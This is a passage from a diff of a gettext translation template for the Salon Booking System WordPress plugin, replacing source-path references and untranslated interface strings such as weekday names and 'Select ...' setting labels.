build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:38\n-msgid \"Address\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:102\n+msgid \"Select shop\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n-msgid \"Text\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:44\n+msgid \"Select specific dates\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n-msgid \"Textarea\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:81\n+msgid \"Select the category that best describes your business\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n-msgid \"Checkbox\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:42\n+msgid \"Select the services to be assigned to this resource\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n-msgid \"File\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:82\n+msgid \"\"\n+\"Select this if you want this service considered as secondary level service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n-msgid \"Html\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:203\n+msgid \"Select this option if you want collect tips from customers.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n-msgid \"Full\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:17\n+msgid \"Select this option if you want disable the RESCHEDULE feature.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n-msgid \"Half\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:293\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:293\n+msgid \"\"\n+\"Select this option if you want to automatically cancel unpaid reservations.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n-msgid \"Quarter\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:262\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:262\n+msgid \"\"\n+\"Select this Option if you want to disable first pending payment email sent \"\n+\"to the customer.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:310, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:310, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:310\n-msgid \"Confirm your password\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:247\n+msgid \"\"\n+\"Select this Option if you want to hide all prices from the front end.\u003Cbr\u002F>\"\n+\"Note: Online Payment will be disabled.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29\n-msgid \"Sunday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:17\n+msgid \"\"\n+\"Select this option if you want your users able to cancel a booking from the \"\n+\"front-end.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:30\n-msgid \"Monday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:17\n+msgid \"\"\n+\"Select this option to add an OFF interval between two sequencial reservations\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31\n-msgid \"Tuesday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:19\n+msgid \"Select this option to manually confirm each booking.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32\n-msgid \"Wednesday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:375\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:375\n+msgid \"Select your assistant\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33\n-msgid \"Thursday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:375\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:375\n+msgid \"Select your assistants\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34\n-msgid \"Friday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:20\n+msgid \"Select your favorite booking form layout\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35\n-msgid \"Saturday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9\n+msgid \"Select your favourite booking system mode.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23\n-msgid \"entire amount (disabled)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:142\n+msgid \"\"\n+\"Select your favourite date and time format. Do you need another format? Send \"\n+\"an email to support@wpchef.it\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24\n-msgid \"fixed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:26\n+msgid \"Select your service provider\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65\n-msgid \"Use this if your column is at least 400px width\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:72\n+msgid \"Selected Dates\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66, 